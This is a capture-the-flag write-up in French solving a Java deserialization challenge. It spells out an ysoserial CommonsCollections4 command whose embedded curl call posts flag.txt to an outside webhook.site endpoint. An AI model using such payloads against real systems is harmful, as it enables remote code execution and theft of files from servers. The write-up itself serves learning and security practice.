NSA Call Converter
Catégorie: Pwn Difficulté: Moyen Flag: MALICE{NeverDeserializeUntrustedContent}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
La première étape est de savoir ce qu'on a entre les mains, on va donc faire un hexdump du fichier calls.nsadb
(ici avec CyberChef).

On voit qu'il contient des mots relatifs à Java, comme org.apache.commons.collections4.list.GrowthList
.
Cherchons un peu si c'est un type de fichier connu, soit avec la commande file
sur Linux, soit on regarde les premiers octets et on cherche sur une liste de signatures de fichier.

On sait maintenant qu'il s'agit de données Java sérialisées. En cherchant un peut sur internet les vulnérabilités, on tombe sur pas mal d'articles comme HackTricks qui parle de l'outil ysoserial.
Comme on sait que flag.txt
est dans le même dossier, utilisons donc cet outil pour POST le fichier sur un endpoint.
Direction Webhook Site pour créer rapidement un endpoint (RequestBin fonctionne aussi). Notre endpoint ici est le suivant : https://webhook.site/bb26bcef-9717-4d73-9059-a489f8ec1270
.
Maintenant on va créer notre payload avec ysoserial. On a vu que org.apache.commons.collections4
était utilisé, ça tombe bien, c'est l'un des points d'entrée que l'outil peut exploiter. La commande pour le créer est :
java -jar ysoserial-all.jar CommonsCollections4 "curl -d @flag.txt https://webhook.site/bb26bcef-9717-4d73-9059-a489f8ec1270" > exploit.nsadb
Ensuite il nous suffit d'aller sur le site et de tenter de le convertir pour récupérer l'erreur suivante :

Si l'on regarde notre endpoint, on a bien reçu une requête POST contenant le flag :

Dernière mise à jour
Cet article vous a-t-il été utile ?